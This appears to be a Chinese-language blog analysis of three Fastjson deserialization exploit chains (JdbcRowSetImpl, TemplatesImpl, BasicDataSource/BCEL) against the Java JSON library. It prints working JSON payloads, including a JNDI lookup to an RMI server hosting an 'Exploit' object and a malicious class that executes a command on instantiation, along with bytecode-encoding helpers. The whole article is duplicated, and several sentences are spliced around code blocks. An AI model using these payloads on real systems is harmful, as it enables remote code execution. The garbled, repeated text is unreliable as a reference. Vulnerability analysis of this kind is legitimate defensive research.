JdbcRowSetImpl
String payload = "{\n" +" \"a\":{\n" +" \"@type\":\"java.lang.Class\",\n" +" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +" },\n" +" \"b\":{\n" +" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +" \"autoCommit\":true\n" +" }\n" +"}";JSON.parse(payload);
payload中的a对象用来当作缓存绕过,需要关注的是第二个对象
注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {// conn为空才会调用到这里this.conn = this.connect();this.conn.setAutoCommit(var1);}}
跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象
protected Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {// conn为空且dataSourceName不为空才会到这里InitialContext var1 = new InitialContext();// 成功触发JNDI注入DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {......return this.decodeObject(var2, var1.getPrefix(1));}}
跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;return NamingManager.getObjectInstance(var3, var2, this, this.environment);
总结:
- 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
- 必须能出网,加载远端的恶意字节码,造成了局限性
TemplateImpl
注意其中的Payload来自于恶意类,该类应该继承自String payload = "{\"a\":{\n" +"\"@type\":\"java.lang.Class\",\n" +"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +"},\n" +"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";JSON.parse(payload, Feature.SupportNonPublicField);
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类似第一条链,使用两个对象绕过,其中的public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {}public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();}}
Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本
该链需要开启fin = open(r"PATH-TO-TEMPOC.class", "rb")byte = fin.read()fout = base64.b64encode(byte).decode("utf-8")print(fout)
Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断
反序列化时,fastjson中会把”_”开头的属性替换为空。并在final int mask = Feature.SupportNonPublicField.mask;if (fieldDeserializer == null&& (lexer.isEnabled(mask)|| (this.beanInfo.parserFeatures & mask) != 0)) {......
outputProperties设置值时调用getOutputProperties
调用到public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e) {return null;}}
com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
跟入transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
getTransletInstance```java // name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入`defineTransletClasses`,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的`newInstance`方法中实例化该类,造成RCE```javaprivate static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码
......if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {byte[] bytes = lexer.bytesValue();......
跟入lexer.bytesValue()方法,看到decodeBase64
public byte[] bytesValue() {......// base64解码return IOUtils.decodeBase64(buf, np + 1, sp);}
总结:
- TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
- 需要开启
Feature.SupportNonPublicField,实战中不适用BasicDataSource
这个String payload = "{\n" +" \"name\":\n" +" {\n" +" \"@type\" : \"java.lang.Class\",\n" +" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +" },\n" +" \"x\" : {\n" +" \"name\": {\n" +" \"@type\" : \"java.lang.Class\",\n" +" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +" },\n" +" \"y\": {\n" +" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +" \"c\": {\n" +" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +" \"driverClassLoader\": {\n" +" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +" },\n" +" \"driverClassName\":\"!!!Payload!!!\",\n" +"\n" +" \"$ref\": \"$.x.y.c.connection\"\n" +"\n" +" }\n" +" }\n" +" }\n" +"}";JSON.parse(payload);
Payload适用于1.2.37版本,并且需要导入Tomcat相关的包
生成<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.37</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>8.0.36</version></dependency></dependencies>
driverClassName的工具如下 ```java import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;
public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = “BCEL” + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); } }
BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。<br />生成的BCEL格式大概如下:
BCEL$l$8b$I$A$A$A$A$A$A$AmQ$……
将这种格式的字符串,作为“字节码”传入`new ClassLoader().loadClass(code).newInstance();`将会被实例化,当在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞<br />回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:```json"x" : {"name": {"@type" : "java.lang.Class","val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"y": {"@type":"com.alibaba.fastjson.JSONObject","c": {"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"!!!Payload!!!","$ref": "$.x.y.c.connection"}}}
这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {// 传入的ref是$.x.y.c.connection,匹配到elseif ("@".equals(ref)) {...} else if ("..".equals(ref)) {...} else if ("$".equals(ref)) {...} else {Object refObj = parser.resolveReference(ref);if (refObj != null) {object = refObj;} else {// 将$.x.y.c.connection加入到Taskparser.addResolveTask(new ResolveTask(context, ref));parser.resolveStatus = DefaultJSONParser.NeedToResolve;}}}// 处理后设置到contextparser.setContext(context, object, fieldName);
漏洞的触发点在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {refValue = getObject(ref);if (refValue == null) {try {// 看到eval感觉有东西refValue = JSONPath.eval(value, ref);} catch (JSONPathException ex) {// skip}}}
跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]
public Object eval(Object rootObject) {if (rootObject == null) {return null;}init();Object currentObject = rootObject;for (int i = 0; i < segments.length; ++i) {Segement segement = segments[i];// 继续跟入currentObject = segement.eval(this, rootObject, currentObject);}return currentObject;}
到达com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {if (deep) {List<Object> results = new ArrayList<Object>();path.deepScan(currentObject, propertyName, results);return results;} else {// return path.getPropertyValue(currentObject, propertyName, true);return path.getPropertyValue(currentObject, propertyName, propertyNameHash);}}
继续跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {if (currentObject == null) {return null;}if (currentObject instanceof Map) {Map map = (Map) currentObject;Object val = map.get(propertyName);if (val == null && SIZE == propertyNameHash) {val = map.size();}return val;}final Class<?> currentClass = currentObject.getClass();JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);if (beanSerializer != null) {try {// 最后一次循环到达这里return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);} catch (Exception e) {throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);}}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {FieldSerializer fieldDeser = getFieldSerializer(keyHash);......// 跟入return fieldDeser.getPropertyValue(object);}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {Object propertyValue = fieldInfo.get(object);
到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {return method != null? method.invoke(javaObject): field.get(javaObject);}
看到这里的javaObject正是BasicDataSouce
回到BasicDataSource本身
public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {// 跟入final PrivilegedExceptionAction<Connection> action = new PaGetConnection();try {return AccessController.doPrivileged(action);} catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();if (cause instanceof SQLException) {throw (SQLException) cause;}throw new SQLException(e);}}return createDataSource().getConnection();}private class PaGetConnection implements PrivilegedExceptionAction<Connection> {@Overridepublic Connection run() throws SQLException {// 跟入createDataSource()return createDataSource().getConnection();}}// 继续跟入createConnectionFactory()final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL…这种格式后,在newInstance方法执行后被实例化。第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。
if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);}...driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);...driverToUse = (Driver) driverFromCCL.newInstance();
总结:
- 不需要出网,不需要开启特殊的参数,适用范围较广
- 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制
Fastjson已被大家分析过很多次,本文主要是对三种利用链做分析和对比
JdbcRowSetImpl
String payload = "{\n" +" \"a\":{\n" +" \"@type\":\"java.lang.Class\",\n" +" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +" },\n" +" \"b\":{\n" +" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +" \"autoCommit\":true\n" +" }\n" +"}";JSON.parse(payload);
payload中的a对象用来当作缓存绕过,需要关注的是第二个对象
注意到其中”autoCommit”:true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {// conn为空才会调用到这里this.conn = this.connect();this.conn.setAutoCommit(var1);}}
跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象
protected Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {// conn为空且dataSourceName不为空才会到这里InitialContext var1 = new InitialContext();// 成功触发JNDI注入DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {......return this.decodeObject(var2, var1.getPrefix(1));}}
跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;return NamingManager.getObjectInstance(var3, var2, this, this.environment);
总结:
- 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
- 必须能出网,加载远端的恶意字节码,造成了局限性
TemplateImpl
注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTransletString payload = "{\"a\":{\n" +"\"@type\":\"java.lang.Class\",\n" +"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +"},\n" +"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";JSON.parse(payload, Feature.SupportNonPublicField);
类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {}public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();}}
该链需要开启fin = open(r"PATH-TO-TEMPOC.class", "rb")byte = fin.read()fout = base64.b64encode(byte).decode("utf-8")print(fout)
Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断
反序列化时,fastjson中会把”_”开头的属性替换为空。并在final int mask = Feature.SupportNonPublicField.mask;if (fieldDeserializer == null&& (lexer.isEnabled(mask)|| (this.beanInfo.parserFeatures & mask) != 0)) {......
outputProperties设置值时调用getOutputProperties
调用到public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e) {return null;}}
com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
跟入transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
getTransletInstance```java // name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入`defineTransletClasses`,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的`newInstance`方法中实例化该类,造成RCE```javaprivate static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码
......if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {byte[] bytes = lexer.bytesValue();......
跟入lexer.bytesValue()方法,看到decodeBase64
public byte[] bytesValue() {......// base64解码return IOUtils.decodeBase64(buf, np + 1, sp);}
总结:
- TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
- 需要开启
Feature.SupportNonPublicField,实战中不适用BasicDataSource
这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包String payload = "{\n" +" \"name\":\n" +" {\n" +" \"@type\" : \"java.lang.Class\",\n" +" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +" },\n" +" \"x\" : {\n" +" \"name\": {\n" +" \"@type\" : \"java.lang.Class\",\n" +" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +" },\n" +" \"y\": {\n" +" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +" \"c\": {\n" +" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +" \"driverClassLoader\": {\n" +" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +" },\n" +" \"driverClassName\":\"!!!Payload!!!\",\n" +"\n" +" \"$ref\": \"$.x.y.c.connection\"\n" +"\n" +" }\n" +" }\n" +" }\n" +"}";JSON.parse(payload);
生成<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.37</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>8.0.36</version></dependency></dependencies>
driverClassName的工具如下 ```java import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;
public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = “BCEL” + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); } }
BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。<br />生成的BCEL格式大概如下:
BCEL$l$8b$I$A$A$A$A$A$A$AmQ$……
将这种格式的字符串,作为“字节码”传入`new ClassLoader().loadClass(code).newInstance();`将会被实例化,当在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞<br />回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:```json"x" : {"name": {"@type" : "java.lang.Class","val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"y": {"@type":"com.alibaba.fastjson.JSONObject","c": {"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"!!!Payload!!!","$ref": "$.x.y.c.connection"}}}
这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {// 传入的ref是$.x.y.c.connection,匹配到elseif ("@".equals(ref)) {...} else if ("..".equals(ref)) {...} else if ("$".equals(ref)) {...} else {Object refObj = parser.resolveReference(ref);if (refObj != null) {object = refObj;} else {// 将$.x.y.c.connection加入到Taskparser.addResolveTask(new ResolveTask(context, ref));parser.resolveStatus = DefaultJSONParser.NeedToResolve;}}}// 处理后设置到contextparser.setContext(context, object, fieldName);
漏洞的触发点在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {refValue = getObject(ref);if (refValue == null) {try {// 看到eval感觉有东西refValue = JSONPath.eval(value, ref);} catch (JSONPathException ex) {// skip}}}
跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]
public Object eval(Object rootObject) {if (rootObject == null) {return null;}init();Object currentObject = rootObject;for (int i = 0; i < segments.length; ++i) {Segement segement = segments[i];// 继续跟入currentObject = segement.eval(this, rootObject, currentObject);}return currentObject;}
到达com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {if (deep) {List<Object> results = new ArrayList<Object>();path.deepScan(currentObject, propertyName, results);return results;} else {// return path.getPropertyValue(currentObject, propertyName, true);return path.getPropertyValue(currentObject, propertyName, propertyNameHash);}}
继续跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {if (currentObject == null) {return null;}if (currentObject instanceof Map) {Map map = (Map) currentObject;Object val = map.get(propertyName);if (val == null && SIZE == propertyNameHash) {val = map.size();}return val;}final Class<?> currentClass = currentObject.getClass();JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);if (beanSerializer != null) {try {// 最后一次循环到达这里return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);} catch (Exception e) {throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);}}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {FieldSerializer fieldDeser = getFieldSerializer(keyHash);......// 跟入return fieldDeser.getPropertyValue(object);}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {Object propertyValue = fieldInfo.get(object);
到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {return method != null? method.invoke(javaObject): field.get(javaObject);}
看到这里的javaObject正是BasicDataSouce
回到BasicDataSource本身
public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {// 跟入final PrivilegedExceptionAction<Connection> action = new PaGetConnection();try {return AccessController.doPrivileged(action);} catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();if (cause instanceof SQLException) {throw (SQLException) cause;}throw new SQLException(e);}}return createDataSource().getConnection();}private class PaGetConnection implements PrivilegedExceptionAction<Connection> {@Overridepublic Connection run() throws SQLException {// 跟入createDataSource()return createDataSource().getConnection();}}// 继续跟入createConnectionFactory()final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL…这种格式后,在newInstance方法执行后被实例化。第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。
if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);}...driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);...driverToUse = (Driver) driverFromCCL.newInstance();
总结:
- 不需要出网,不需要开启特殊的参数,适用范围较广
- 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制
